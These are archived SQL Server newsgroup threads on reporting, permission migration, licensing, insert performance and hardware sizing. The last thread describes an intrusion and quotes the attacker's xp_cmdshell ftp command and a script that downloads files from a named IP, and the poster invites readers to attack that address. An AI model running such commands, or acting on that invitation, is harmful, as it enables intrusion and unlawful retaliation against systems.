Having a report generate with a rtf for data entry

Is there a way to have a report generate so that there is an 'empty' rich
text box for someone to add notes, comments, text to the report after it
generates?
For example, if i have a report generate out to a shared directory, i want
to allow someone to go 'update' that report by adding explanatory bullets to
the report.
any suggestions or direction is welcomed.
Thx.Sounds like you will have to write a custom report exentension control.
This control will render to HTML and you can render the specific HTML you
need to for data entry and postbacks.
Check out http://msdn2.microsoft.com/en-us/library/ms154606(SQL.90).aspx for
information on rendering extensions. I have not had to write any yet but it
looks like you can specify an HTML specific rendering extension.
Craig
"TroyS" <TroyS@.discussions.microsoft.com> wrote in message
news:C0718935-8D1F-4058-876C-764387F4360D@.microsoft.com...
> Is there a way to have a report generate so that there is an 'empty' rich
> text box for someone to add notes, comments, text to the report after it
> generates?
> For example, if i have a report generate out to a shared directory, i want
> to allow someone to go 'update' that report by adding explanatory bullets
> to
> the report.
> any suggestions or direction is welcomed.
> Thx.

have transferred database & users from sql 2000 to 2005 but how do i transfer their permissi

We are currently running sql 2000 and are moving our database onto sql 2005 running on a different box.

We have managed to move the entire database, with users however the users permissions on specific tables/views/stored procedures have not been transferred, does anyone know a way of transferring user permissions rather then doing them all by hand?

The system is a large (over 500 table/views/stored procedures) and a very active one and therefore downtime is not optional.

any suggestions would be appreciated

Regards

Chris V

I think you can script those certain objects and execute the script in sql 2005 to create the same as in sql 2000

|||

The users permissions should have been taken across when you moved the databases (did you user a backup/restore method?). However, unless you also moved the master database then these users may well have lost their associated logins. You should be able to fix this by using sp_change_users_login.

However, if the permissions have gone AWOL, i think you will have to just script out the permissions from the old server and apply this script to the new server. I've seen a neat script somewhere using SQLDMO which will do all the permissions in one but alas, i cannot find it right now though i did see this SQL script which should do a similar job albeit on a user by user/role by role basis:-

http://www.sql-server-performance.com/articles/dba/object_permission_scripts_p1.aspx

A final note, this sort of thing can be avoided by adding all your object level permissions to Roles which are transferred with the database. Users can then just be added to the role again and the problem should be solved.

Anyway, good luck.

HTH!

Have dual processors / need SQL (1 or 2) license?

Need to install MS-SQL on a WIN2K Server box - Looking at
getting MS-SQL for 1 processor product = 228-01079. I'm
confused because I want to be legal and have 2 processors
in this box therefore - Do I need 2 copies of this
software to run or would one be enought?
ThanksOne question is do you really need a processor license. The links below
outline most of this stuff:
http://www.microsoft.com/sql/howtobuy/serverproc.asp Licensing
http://www.microsoft.com/sql/howtobuy/sqlserverlicensing.asp
http://www.microsoft.com/sql/howtobuy/default.asp
Andrew J. Kelly
SQL Server MVP
"Dave" <Razar44140@.aol.com> wrote in message
news:00b001c37c72$f35cff60$a401280a@.phx.gbl...
> Need to install MS-SQL on a WIN2K Server box - Looking at
> getting MS-SQL for 1 processor product = 228-01079. I'm
> confused because I want to be legal and have 2 processors
> in this box therefore - Do I need 2 copies of this
> software to run or would one be enought?
> Thanks|||Maybe yes, maybe no!
We are about to acquire a software package which specs
out that the server must have dual processors in the box
and rather large amount of RAM. Additionally it requires
that we install WIN2K Server and MS-SQL. We will have
about 75 users running this DB application therefore I
think that a processor license would be appropiate (cost
wise at discount house) over a CAL. Original question...
Do I need two copies for on machine utilizing two
processors? or Is there another avenue to take here?
Thanks
PS - I looked at the How to Buy and it didn't answer my
question. I
>--Original Message--
>One question is do you really need a processor license.
The links below
>outline most of this stuff:
>
>http://www.microsoft.com/sql/howtobuy/serverproc.asp
Licensing
>http://www.microsoft.com/sql/howtobuy/sqlserverlicensing.
asp
>http://www.microsoft.com/sql/howtobuy/default.asp
>
>--
>Andrew J. Kelly
>SQL Server MVP
>
>"Dave" <Razar44140@.aol.com> wrote in message
>news:00b001c37c72$f35cff60$a401280a@.phx.gbl...
>> Need to install MS-SQL on a WIN2K Server box - Looking
at
>> getting MS-SQL for 1 processor product = 228-01079. I'm
>> confused because I want to be legal and have 2
processors
>> in this box therefore - Do I need 2 copies of this
>> software to run or would one be enought?
>> Thanks
>
>.
>

hardware upgrade -> lower "insert" performance

Hey all,
I was about to move my SQL Server from a box that's about four years
old to a current box. The new box should be faster for everything ...
more RAM, faster CPU, faster disks... but the performance of repeated
"insert" statements is measurably worse. The following script took
2:16 on my old hardware (which is running my production system at the
same time), and 3:23 on the new hardware. "select" and "update"
statements do seem to be faster on the new hardware.
Anybody got any clue where I should be looking?
select getdate()
set nocount on
go
if exists
( select *
from sysobjects
where type = 'U'
and name = 'cccInsertTest')
begin
drop table cccInsertTest
end
go
create table cccInsertTest
( a int not null)
go
declare @.i int
select @.i = 0
while @.i < 50000
begin
insert into cccInsertTest (a) values (@.i)
select @.i = @.i + 1
end
go
select getdate()
go
hmmm, is the raid different?
"Chris Curvey" wrote:

> Hey all,
> I was about to move my SQL Server from a box that's about four years
> old to a current box. The new box should be faster for everything ...
> more RAM, faster CPU, faster disks... but the performance of repeated
> "insert" statements is measurably worse. The following script took
> 2:16 on my old hardware (which is running my production system at the
> same time), and 3:23 on the new hardware. "select" and "update"
> statements do seem to be faster on the new hardware.
> Anybody got any clue where I should be looking?
> select getdate()
> set nocount on
> go
> if exists
> ( select *
> from sysobjects
> where type = 'U'
> and name = 'cccInsertTest')
> begin
> drop table cccInsertTest
> end
> go
> create table cccInsertTest
> ( a int not null)
> go
> declare @.i int
> select @.i = 0
> while @.i < 50000
> begin
> insert into cccInsertTest (a) values (@.i)
> select @.i = @.i + 1
> end
> go
> select getdate()
> go
>
|||Chris,
A couple of ideas:
Was the test database and log created with enough room so the database and
log didn't have to allocate more space (grow) while the process was running?
Instead of using getdate(), set the statistics time and statistics io
options on (QA Tools/Options, Connection Properties tab). Compare those
metrics instead. Also, run the tests on the servers using Remote Desktop to
eliminate any network transport (should be neglegible, but I'd do it
anyway).
-- Bill
"Chris Curvey" <ccurvey@.gmail.com> wrote in message
news:1170084503.675585.149280@.q2g2000cwa.googlegro ups.com...
> Hey all,
> I was about to move my SQL Server from a box that's about four years
> old to a current box. The new box should be faster for everything ...
> more RAM, faster CPU, faster disks... but the performance of repeated
> "insert" statements is measurably worse. The following script took
> 2:16 on my old hardware (which is running my production system at the
> same time), and 3:23 on the new hardware. "select" and "update"
> statements do seem to be faster on the new hardware.
> Anybody got any clue where I should be looking?
> select getdate()
> set nocount on
> go
> if exists
> ( select *
> from sysobjects
> where type = 'U'
> and name = 'cccInsertTest')
> begin
> drop table cccInsertTest
> end
> go
> create table cccInsertTest
> ( a int not null)
> go
> declare @.i int
> select @.i = 0
> while @.i < 50000
> begin
> insert into cccInsertTest (a) values (@.i)
> select @.i = @.i + 1
> end
> go
> select getdate()
> go
>
|||On Jan 29, 10:28 am, "Chris Curvey" <ccur...@.gmail.com> wrote:
> Hey all,
> I was about to move my SQL Server from a box that's about four years
> old to a current box. The new box should be faster for everything ...
> more RAM, faster CPU, faster disks... but the performance of repeated
> "insert" statements is measurably worse. The following script took
> 2:16 on my old hardware (which is running my production system at the
> same time), and 3:23 on the new hardware. "select" and "update"
> statements do seem to be faster on the new hardware.
> Anybody got any clue where I should be looking?
> select getdate()
> set nocount on
> go
> if exists
> ( select *
> from sysobjects
> where type = 'U'
> and name = 'cccInsertTest')
> begin
> drop table cccInsertTest
> end
> go
>

> create table cccInsertTest
> ( a int not null)
> go
> declare @.i int
> select @.i = 0
> while @.i < 50000
> begin
> insert into cccInsertTest (a) values (@.i)
> select @.i = @.i + 1
> end
> go
> select getdate()
> go
Turns out that there were two issues. We needed to turn on write
caching within our RAID controller. But the bigger problem was the
client program that we were using to drive the script. "isql" was
running at 4 xacts/sec. "osql" ran at 9 xacts/sec. Writing a Python
script (that ran from another machine, across a slow network link)
gave us 30 xacts/sec.
Go figure!

hardware upgrade -> lower "insert" performance

Hey all,
I was about to move my SQL Server from a box that's about four years
old to a current box. The new box should be faster for everything ...
more RAM, faster CPU, faster disks... but the performance of repeated
"insert" statements is measurably worse. The following script took
2:16 on my old hardware (which is running my production system at the
same time), and 3:23 on the new hardware. "select" and "update"
statements do seem to be faster on the new hardware.
Anybody got any clue where I should be looking?
select getdate()
set nocount on
go
if exists
( select *
from sysobjects
where type = 'U'
and name = 'cccInsertTest')
begin
drop table cccInsertTest
end
go
create table cccInsertTest
( a int not null)
go
declare @.i int
select @.i = 0
while @.i < 50000
begin
insert into cccInsertTest (a) values (@.i)
select @.i = @.i + 1
end
go
select getdate()
gohmmm, is the raid different?
"Chris Curvey" wrote:
> Hey all,
> I was about to move my SQL Server from a box that's about four years
> old to a current box. The new box should be faster for everything ...
> more RAM, faster CPU, faster disks... but the performance of repeated
> "insert" statements is measurably worse. The following script took
> 2:16 on my old hardware (which is running my production system at the
> same time), and 3:23 on the new hardware. "select" and "update"
> statements do seem to be faster on the new hardware.
> Anybody got any clue where I should be looking?
> select getdate()
> set nocount on
> go
> if exists
> ( select *
> from sysobjects
> where type = 'U'
> and name = 'cccInsertTest')
> begin
> drop table cccInsertTest
> end
> go
> create table cccInsertTest
> ( a int not null)
> go
> declare @.i int
> select @.i = 0
> while @.i < 50000
> begin
> insert into cccInsertTest (a) values (@.i)
> select @.i = @.i + 1
> end
> go
> select getdate()
> go
>|||Chris,
A couple of ideas:
Was the test database and log created with enough room so the database and
log didn't have to allocate more space (grow) while the process was running?
Instead of using getdate(), set the statistics time and statistics io
options on (QA Tools/Options, Connection Properties tab). Compare those
metrics instead. Also, run the tests on the servers using Remote Desktop to
eliminate any network transport (should be neglegible, but I'd do it
anyway).
-- Bill
"Chris Curvey" <ccurvey@.gmail.com> wrote in message
news:1170084503.675585.149280@.q2g2000cwa.googlegroups.com...
> Hey all,
> I was about to move my SQL Server from a box that's about four years
> old to a current box. The new box should be faster for everything ...
> more RAM, faster CPU, faster disks... but the performance of repeated
> "insert" statements is measurably worse. The following script took
> 2:16 on my old hardware (which is running my production system at the
> same time), and 3:23 on the new hardware. "select" and "update"
> statements do seem to be faster on the new hardware.
> Anybody got any clue where I should be looking?
> select getdate()
> set nocount on
> go
> if exists
> ( select *
> from sysobjects
> where type = 'U'
> and name = 'cccInsertTest')
> begin
> drop table cccInsertTest
> end
> go
> create table cccInsertTest
> ( a int not null)
> go
> declare @.i int
> select @.i = 0
> while @.i < 50000
> begin
> insert into cccInsertTest (a) values (@.i)
> select @.i = @.i + 1
> end
> go
> select getdate()
> go
>|||On Jan 29, 10:28 am, "Chris Curvey" <ccur...@.gmail.com> wrote:
> Hey all,
> I was about to move my SQL Server from a box that's about four years
> old to a current box. The new box should be faster for everything ...
> more RAM, faster CPU, faster disks... but the performance of repeated
> "insert" statements is measurably worse. The following script took
> 2:16 on my old hardware (which is running my production system at the
> same time), and 3:23 on the new hardware. "select" and "update"
> statements do seem to be faster on the new hardware.
> Anybody got any clue where I should be looking?
> select getdate()
> set nocount on
> go
> if exists
> ( select *
> from sysobjects
> where type = 'U'
> and name = 'cccInsertTest')
> begin
> drop table cccInsertTest
> end
> go
>
> create table cccInsertTest
> ( a int not null)
> go
> declare @.i int
> select @.i = 0
> while @.i < 50000
> begin
> insert into cccInsertTest (a) values (@.i)
> select @.i = @.i + 1
> end
> go
> select getdate()
> go
Turns out that there were two issues. We needed to turn on write
caching within our RAID controller. But the bigger problem was the
client program that we were using to drive the script. "isql" was
running at 4 xacts/sec. "osql" ran at 9 xacts/sec. Writing a Python
script (that ran from another machine, across a slow network link)
gave us 30 xacts/sec.
Go figure!

hardware upgrade -> lower "insert" performance

Hey all,
I was about to move my SQL Server from a box that's about four years
old to a current box. The new box should be faster for everything ...
more RAM, faster CPU, faster disks... but the performance of repeated
"insert" statements is measurably worse. The following script took
2:16 on my old hardware (which is running my production system at the
same time), and 3:23 on the new hardware. "select" and "update"
statements do seem to be faster on the new hardware.
Anybody got any clue where I should be looking?
select getdate()
set nocount on
go
if exists
( select *
from sysobjects
where type = 'U'
and name = 'cccInsertTest')
begin
drop table cccInsertTest
end
go
create table cccInsertTest
( a int not null)
go
declare @.i int
select @.i = 0
while @.i < 50000
begin
insert into cccInsertTest (a) values (@.i)
select @.i = @.i + 1
end
go
select getdate()
gohmmm, is the raid different?
"Chris Curvey" wrote:

> Hey all,
> I was about to move my SQL Server from a box that's about four years
> old to a current box. The new box should be faster for everything ...
> more RAM, faster CPU, faster disks... but the performance of repeated
> "insert" statements is measurably worse. The following script took
> 2:16 on my old hardware (which is running my production system at the
> same time), and 3:23 on the new hardware. "select" and "update"
> statements do seem to be faster on the new hardware.
> Anybody got any clue where I should be looking?
> select getdate()
> set nocount on
> go
> if exists
> ( select *
> from sysobjects
> where type = 'U'
> and name = 'cccInsertTest')
> begin
> drop table cccInsertTest
> end
> go
> create table cccInsertTest
> ( a int not null)
> go
> declare @.i int
> select @.i = 0
> while @.i < 50000
> begin
> insert into cccInsertTest (a) values (@.i)
> select @.i = @.i + 1
> end
> go
> select getdate()
> go
>|||Chris,
A couple of ideas:
Was the test database and log created with enough room so the database and
log didn't have to allocate more space (grow) while the process was running?
Instead of using getdate(), set the statistics time and statistics io
options on (QA Tools/Options, Connection Properties tab). Compare those
metrics instead. Also, run the tests on the servers using Remote Desktop to
eliminate any network transport (should be neglegible, but I'd do it
anyway).
-- Bill
"Chris Curvey" <ccurvey@.gmail.com> wrote in message
news:1170084503.675585.149280@.q2g2000cwa.googlegroups.com...
> Hey all,
> I was about to move my SQL Server from a box that's about four years
> old to a current box. The new box should be faster for everything ...
> more RAM, faster CPU, faster disks... but the performance of repeated
> "insert" statements is measurably worse. The following script took
> 2:16 on my old hardware (which is running my production system at the
> same time), and 3:23 on the new hardware. "select" and "update"
> statements do seem to be faster on the new hardware.
> Anybody got any clue where I should be looking?
> select getdate()
> set nocount on
> go
> if exists
> ( select *
> from sysobjects
> where type = 'U'
> and name = 'cccInsertTest')
> begin
> drop table cccInsertTest
> end
> go
> create table cccInsertTest
> ( a int not null)
> go
> declare @.i int
> select @.i = 0
> while @.i < 50000
> begin
> insert into cccInsertTest (a) values (@.i)
> select @.i = @.i + 1
> end
> go
> select getdate()
> go
>|||On Jan 29, 10:28 am, "Chris Curvey" <ccur...@.gmail.com> wrote:
> Hey all,
> I was about to move my SQL Server from a box that's about four years
> old to a current box. The new box should be faster for everything ...
> more RAM, faster CPU, faster disks... but the performance of repeated
> "insert" statements is measurably worse. The following script took
> 2:16 on my old hardware (which is running my production system at the
> same time), and 3:23 on the new hardware. "select" and "update"
> statements do seem to be faster on the new hardware.
> Anybody got any clue where I should be looking?
> select getdate()
> set nocount on
> go
> if exists
> ( select *
> from sysobjects
> where type = 'U'
> and name = 'cccInsertTest')
> begin
> drop table cccInsertTest
> end
> go
>

> create table cccInsertTest
> ( a int not null)
> go
> declare @.i int
> select @.i = 0
> while @.i < 50000
> begin
> insert into cccInsertTest (a) values (@.i)
> select @.i = @.i + 1
> end
> go
> select getdate()
> go
Turns out that there were two issues. We needed to turn on write
caching within our RAID controller. But the bigger problem was the
client program that we were using to drive the script. "isql" was
running at 4 xacts/sec. "osql" ran at 9 xacts/sec. Writing a Python
script (that ran from another machine, across a slow network link)
gave us 30 xacts/sec.
Go figure!

Hardware requirements

I would like to know what are the suggested hardware
requirements for a Windows 2000 server box with SQL 2000
working in a very much busy environment.This question is so broad I doubt anyone could respond with a good answer.
You would need to perform some baseline testing with hardware to see how
your app performs then purchase appropriately.
-Lars
"Ricardo Bruno" <ricardo_bruno@.btsincusa.com> wrote in message
news:424401c3e435$7ef63490$a101280a@.phx.gbl...

quote:

---

> I would like to know what are the suggested hardware
> requirements for a Windows 2000 server box with SQL 2000
> working in a very much busy environment.

---

|||All together now...
"It Depends"
Seriously, you need to define just what 'busy' means. Batch
requests/second, transactions, client connections, database size and
throughput are all part of the mix. Most of the major server vendors have
tools to 'estimate' the size of a host server for SQL. They do a failrly
good job as long as your situation is not too unusual. Without a lot more
information I cannot give even a wild guess as to what you need.
Geoff N. Hiten
Microsoft SQL Server MVP
Senior Database Administrator
Careerbuilder.com
"Ricardo Bruno" <ricardo_bruno@.btsincusa.com> wrote in message
news:424401c3e435$7ef63490$a101280a@.phx.gbl...

quote:

---

> I would like to know what are the suggested hardware
> requirements for a Windows 2000 server box with SQL 2000
> working in a very much busy environment.

---

|||Ricardo,
It is a loaded question.
It is very hard to give any recommendation or suggestions based ont eh
information you have given.
Please check out the Operations Guide put together by Microsoft at the
following link.
Look at Chapter 6 which deals with Capacity planning. This is a good start.
http://www.microsoft.com/technet/tr...ide/default.asp
HTH
Satish Balusa
Corillian Corp.
"Ricardo Bruno" <ricardo_bruno@.btsincusa.com> wrote in message
news:424401c3e435$7ef63490$a101280a@.phx.gbl...

quote:

---

> I would like to know what are the suggested hardware
> requirements for a Windows 2000 server box with SQL 2000
> working in a very much busy environment.

---

Hardware requirements

I would like to know what are the suggested hardware
requirements for a Windows 2000 server box with SQL 2000
working in a very much busy environment.This question is so broad I doubt anyone could respond with a good answer.
You would need to perform some baseline testing with hardware to see how
your app performs then purchase appropriately.
-Lars
"Ricardo Bruno" <ricardo_bruno@.btsincusa.com> wrote in message
news:424401c3e435$7ef63490$a101280a@.phx.gbl...
> I would like to know what are the suggested hardware
> requirements for a Windows 2000 server box with SQL 2000
> working in a very much busy environment.|||All together now...
"It Depends"
Seriously, you need to define just what 'busy' means. Batch
requests/second, transactions, client connections, database size and
throughput are all part of the mix. Most of the major server vendors have
tools to 'estimate' the size of a host server for SQL. They do a failrly
good job as long as your situation is not too unusual. Without a lot more
information I cannot give even a wild guess as to what you need.
Geoff N. Hiten
Microsoft SQL Server MVP
Senior Database Administrator
Careerbuilder.com
"Ricardo Bruno" <ricardo_bruno@.btsincusa.com> wrote in message
news:424401c3e435$7ef63490$a101280a@.phx.gbl...
> I would like to know what are the suggested hardware
> requirements for a Windows 2000 server box with SQL 2000
> working in a very much busy environment.|||Ricardo,
It is a loaded question.
It is very hard to give any recommendation or suggestions based ont eh
information you have given.
Please check out the Operations Guide put together by Microsoft at the
following link.
Look at Chapter 6 which deals with Capacity planning. This is a good start.
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/prodtechnol/sql/maintain/operate/opsguide/default.asp
HTH
Satish Balusa
Corillian Corp.
"Ricardo Bruno" <ricardo_bruno@.btsincusa.com> wrote in message
news:424401c3e435$7ef63490$a101280a@.phx.gbl...
> I would like to know what are the suggested hardware
> requirements for a Windows 2000 server box with SQL 2000
> working in a very much busy environment.

Hardware requirement

Hello!
Does anyone have any idea what the hardware requirements for a SQL2000 box
would be if I would like to process about 20000 - 30000 inserts per second?
We need to insert large amount of data in SQL database and that would be
peek number of inserts that we need. Any rough numbers? (number of
processors, RAM, disk subsytem configuration...) Database size and number of
user conections are not an important factor at the time since they are quite
small (100GB, 50 connections).
Does anyone have similar processing power on SQL?
Thanks
Dan20-30k inserts/sec is possible on a 2 CPU Xeon, but it
depends on exactly what you are doing and how.
if the only meaningful load is the inserts, then a dual
processor system should be able to handle your load,
otherwise, you might go to a 4 CPU box
RAM and disks will depend on the specifics of what your
are doing
i will be talking on this subject at the next SQL Server
Magazine Connections conference (www.sqlconnections.com)
-joe chang
>--Original Message--
>Hello!
>Does anyone have any idea what the hardware requirements
for a SQL2000 box
>would be if I would like to process about 20000 - 30000
inserts per second?
>We need to insert large amount of data in SQL database
and that would be
>peek number of inserts that we need. Any rough numbers?
(number of
>processors, RAM, disk subsytem configuration...) Database
size and number of
>user conections are not an important factor at the time
since they are quite
>small (100GB, 50 connections).
>Does anyone have similar processing power on SQL?
>Thanks
>Dan
>
>.
>

Hardware Recommendation

Hello,
I plan to run Microsoft CRM, Navision SQL, and Project Server off the
same SQL box. What would you recommend hardware wise?
Dual 2.8 Xeon? How much RAM? 2GB? 4GB?
Thanks in advance
First, put as much memory as you can afford in the box. Be aware that
anything over 4GB will require Enterprise Edition to take advantage of the
extra RAM. Dual Procs are a minimum. Go with procs with more cache rather
than faster procs, but only by 300-500 MHz. Then we geet to the disk
system. Definitely separate your SQL logs and data onto different spindles.
RAID 1 or 1+0 for logs will improve performance significantly. RAID 1+0 for
data if you can afford it, RAID5 otherwise, but it will impact performance.
Geoff N. Hiten
Microsoft SQL Server MVP
Senior Database Administrator
Careerbuilder.com
"CB" <chadb@.dentistryonline.com> wrote in message
news:esoMsGvMEHA.3096@.TK2MSFTNGP12.phx.gbl...
> Hello,
> I plan to run Microsoft CRM, Navision SQL, and Project Server off the
> same SQL box. What would you recommend hardware wise?
> Dual 2.8 Xeon? How much RAM? 2GB? 4GB?
> Thanks in advance
>

Hardware Recommendation

Hello,
I plan to run Microsoft CRM, Navision SQL, and Project Server off the
same SQL box. What would you recommend hardware wise?
Dual 2.8 Xeon? How much RAM? 2GB? 4GB?
Thanks in advanceFirst, put as much memory as you can afford in the box. Be aware that
anything over 4GB will require Enterprise Edition to take advantage of the
extra RAM. Dual Procs are a minimum. Go with procs with more cache rather
than faster procs, but only by 300-500 MHz. Then we geet to the disk
system. Definitely separate your SQL logs and data onto different spindles.
RAID 1 or 1+0 for logs will improve performance significantly. RAID 1+0 for
data if you can afford it, RAID5 otherwise, but it will impact performance.
--
Geoff N. Hiten
Microsoft SQL Server MVP
Senior Database Administrator
Careerbuilder.com
"CB" <chadb@.dentistryonline.com> wrote in message
news:esoMsGvMEHA.3096@.TK2MSFTNGP12.phx.gbl...
> Hello,
> I plan to run Microsoft CRM, Navision SQL, and Project Server off the
> same SQL box. What would you recommend hardware wise?
> Dual 2.8 Xeon? How much RAM? 2GB? 4GB?
> Thanks in advance
>

Hardware Recommendation

Hello,
I plan to run Microsoft CRM, Navision SQL, and Project Server off the
same SQL box. What would you recommend hardware wise?
Dual 2.8 Xeon? How much RAM? 2GB? 4GB?
Thanks in advanceFirst, put as much memory as you can afford in the box. Be aware that
anything over 4GB will require Enterprise Edition to take advantage of the
extra RAM. Dual Procs are a minimum. Go with procs with more cache rather
than faster procs, but only by 300-500 MHz. Then we geet to the disk
system. Definitely separate your SQL logs and data onto different spindles.
RAID 1 or 1+0 for logs will improve performance significantly. RAID 1+0 for
data if you can afford it, RAID5 otherwise, but it will impact performance.
Geoff N. Hiten
Microsoft SQL Server MVP
Senior Database Administrator
Careerbuilder.com
"CB" <chadb@.dentistryonline.com> wrote in message
news:esoMsGvMEHA.3096@.TK2MSFTNGP12.phx.gbl...
> Hello,
> I plan to run Microsoft CRM, Navision SQL, and Project Server off the
> same SQL box. What would you recommend hardware wise?
> Dual 2.8 Xeon? How much RAM? 2GB? 4GB?
> Thanks in advance
>

hardcoding password instead of showing password box everytime

Dear all
Everytime, when my aspx application connect with the reports, it will also
show the password box for the input of username and password, however, can we
avoid it to show the password box? I want to implicity hardcoding the
username and password into the aspx and i don't want to show the password box
in the IEYou can use stored credentials for the data sources. In report manager, go
to the properties page of the report, click on the data sources tab and
specify a user name / pwd and click apply to store these credentials.
-- Robert
This posting is provided "AS IS" with no warranties, and confers no rights.
"Joe" <Joe@.discussions.microsoft.com> wrote in message
news:81E41716-A88F-4C3B-B785-6012F6767E9D@.microsoft.com...
> Dear all
> Everytime, when my aspx application connect with the reports, it will also
> show the password box for the input of username and password, however, can
> we
> avoid it to show the password box? I want to implicity hardcoding the
> username and password into the aspx and i don't want to show the password
> box
> in the IE
>|||No the password prompt is from I.E. it ask from the domain user password to
see whether it have the right to see the reports or not, not the data sources
password
"Robert Bruckner [MSFT]" wrote:
> You can use stored credentials for the data sources. In report manager, go
> to the properties page of the report, click on the data sources tab and
> specify a user name / pwd and click apply to store these credentials.
>
> -- Robert
> This posting is provided "AS IS" with no warranties, and confers no rights.
> "Joe" <Joe@.discussions.microsoft.com> wrote in message
> news:81E41716-A88F-4C3B-B785-6012F6767E9D@.microsoft.com...
> > Dear all
> > Everytime, when my aspx application connect with the reports, it will also
> > show the password box for the input of username and password, however, can
> > we
> > avoid it to show the password box? I want to implicity hardcoding the
> > username and password into the aspx and i don't want to show the password
> > box
> > in the IE
> >
>
>

hack using xp_cmdshell

I have a dev box running at home. The box is configured with Win2k Advanced
Server, with sp4 and all security updates. It also is running SQL 2k
Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
usually sealed tight. I typically only keep 2 ports open; 5900 for vnc and
3389 for terminal server.
Occasionally, other developers I work with need to get on the box, and I'll
open 1433, and very occasionally 21, for ftp.
About a week ago I discovered my serv-u server had been hacked. There was a
new domain running. I wasn't too concerned because it had been setup to use
port 65300, which has never been open on my firewall. I traded several
emails with rhinosoft and finally just deleted the domain and kept my
fingers crossed.
Yesterday, I wanted to see if my developers were on my box so I ran sp_who2.
I saw a box that I didn't recognize, then freaked when I saw the
ProgramName - SQL Exec for NetHakcerIII. You can find a description of the
program here: http://www.timelink.cn/tianxing/netck.htm.
Upon running dbcc inputbuffer, I discovered they were running the following:
xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
Vga.txt contained the following:
open 205.146.38.34 1210
user echo
tools
BINARY
mget *.*
quit
First of all...if anyone out there reading this owns this IP...the FBI will
be knocking on your door soon. Secondly, if anyone out there reading this
would like to have some fun with this punk - you have their IP - have fun!
What I'm most concerned about though is how someone could have compromised
my system. And especially xp_cmdshell. I saved a lot of information about
this person, including an outlook profile that I believe belongs to them,
but what I don't remember is the Login that this was running under. I
rebuilt my box last night, including deleting the partition. So what I
didn't save is gone. I've never granted exec on xp_cmdshell to any of my
sql users, so this person had to be running it under the sa account. How
were they able to compromise my system so easily? I've extremely diligent
about apply security updates/service packs, and as I mentioned earlier, the
box is usually locked down behind a firewall. With all ports closed it runs
in stealth mode according to grc.com.
Any info is appreciated. I can also provide additional details of the files
deposited on my box by this person too.
Thanks, AndreAndre,
I'm no security expert, so please forgive if I'm not using the right
terminology etc.
Could it be as simple as having no password for sa? This can happen is you
install SQL Server in Windows Only mode and then Switch down to Mixed mode,
for instance.
It happened to me on my home machine "this is no production server", but of
course the machine in itself got infected as well. I now always always
always assign a strong password for sa (regardless security mode) and of
course I'm using a firewall at home as well ;-).
Is the SQL Server instance a default instance? If so, some viruses will just
aim for port 1433 and try sa without password. I can assume that some
viruses can try brute force using other passwords as well, but logging
failed logins would catch that.
Tibor Karaszi, SQL Server MVP
Archive at:
http://groups.google.com/groups?oi=...ublic.sqlserver
"Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> I have a dev box running at home. The box is configured with Win2k
Advanced
> Server, with sp4 and all security updates. It also is running SQL 2k
> Enterprise Edition with sp3a. It sits behind a Linksys firewall that is
> usually sealed tight. I typically only keep 2 ports open; 5900 for vnc
and
> 3389 for terminal server.
> Occasionally, other developers I work with need to get on the box, and
I'll
> open 1433, and very occasionally 21, for ftp.
> About a week ago I discovered my serv-u server had been hacked. There was
a
> new domain running. I wasn't too concerned because it had been setup to
use
> port 65300, which has never been open on my firewall. I traded several
> emails with rhinosoft and finally just deleted the domain and kept my
> fingers crossed.
> Yesterday, I wanted to see if my developers were on my box so I ran
sp_who2.
> I saw a box that I didn't recognize, then freaked when I saw the
> ProgramName - SQL Exec for NetHakcerIII. You can find a description of
the
> program here: http://www.timelink.cn/tianxing/netck.htm.
> Upon running dbcc inputbuffer, I discovered they were running the
following:
> xp_cmdshell "ftp -I -n -v -s:C:\winnt\system32\vga.txt".
> Vga.txt contained the following:
> open 205.146.38.34 1210
> user echo
> tools
> BINARY
> mget *.*
> quit
> First of all...if anyone out there reading this owns this IP...the FBI
will
> be knocking on your door soon. Secondly, if anyone out there reading this
> would like to have some fun with this punk - you have their IP - have fun!
> What I'm most concerned about though is how someone could have compromised
> my system. And especially xp_cmdshell. I saved a lot of information
about
> this person, including an outlook profile that I believe belongs to them,
> but what I don't remember is the Login that this was running under. I
> rebuilt my box last night, including deleting the partition. So what I
> didn't save is gone. I've never granted exec on xp_cmdshell to any of my
> sql users, so this person had to be running it under the sa account. How
> were they able to compromise my system so easily? I've extremely diligent
> about apply security updates/service packs, and as I mentioned earlier,
the
> box is usually locked down behind a firewall. With all ports closed it
runs
> in stealth mode according to grc.com.
> Any info is appreciated. I can also provide additional details of the
files
> deposited on my box by this person too.
> Thanks, Andre
>
>|||Fortunately 14 years of SQL experience, and a little common sense, would
never allow me to run any box without a sa password. While I'm the
first to admit it's not "strong", I do have a password.
It is a default instance, running on port 1433. So maybe in the future I
should run it on a different port and just have my developers connect to me
on that port eh?
Andre
"Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in
message news:e$fb$91$DHA.1032@.TK2MSFTNGP10.phx.gbl...
> Andre,
> I'm no security expert, so please forgive if I'm not using the right
> terminology etc.
> Could it be as simple as having no password for sa? This can happen is you
> install SQL Server in Windows Only mode and then Switch down to Mixed
mode,
> for instance.
> It happened to me on my home machine "this is no production server", but
of
> course the machine in itself got infected as well. I now always always
> always assign a strong password for sa (regardless security mode) and of
> course I'm using a firewall at home as well ;-).
> Is the SQL Server instance a default instance? If so, some viruses will
just
> aim for port 1433 and try sa without password. I can assume that some
> viruses can try brute force using other passwords as well, but logging
> failed logins would catch that.
> --
> Tibor Karaszi, SQL Server MVP
> Archive at:
>
http://groups.google.com/groups?oi=...ublic.sqlserver
>
> "Andre" <AndreGetsEnoughSPAM@.nospam.com> wrote in message
> news:eoosP61$DHA.1844@.TK2MSFTNGP11.phx.gbl...
> Advanced
> and
> I'll
was
> a
> use
> sp_who2.
> the
> following:
> will
this
fun!
compromised
> about
them,
my
How
diligent
> the
> runs
> files
>|||> Fortunately 14 years of SQL experience, and a little common sense, would
> never allow me to run any box without a sa password.
Good. :-) I didn't really imply that you were, I was just sharing my
experiences and speculated around things that could have caused this.
Possibly, they cracked your password and used xp_cmdshell to spread in the
machine. Or, possibly some other way, of course.
Assuming they used xp_cmdshell, consider the service account and what
permissions it has in the domain and on that machine.

> It is a default instance, running on port 1433. So maybe in the future I
> should run it on a different port and just have my developers connect to
me
> on that port eh?
Yep. However, I don't know how difficult it would be to use some sort of
port scan to find the port number.
--
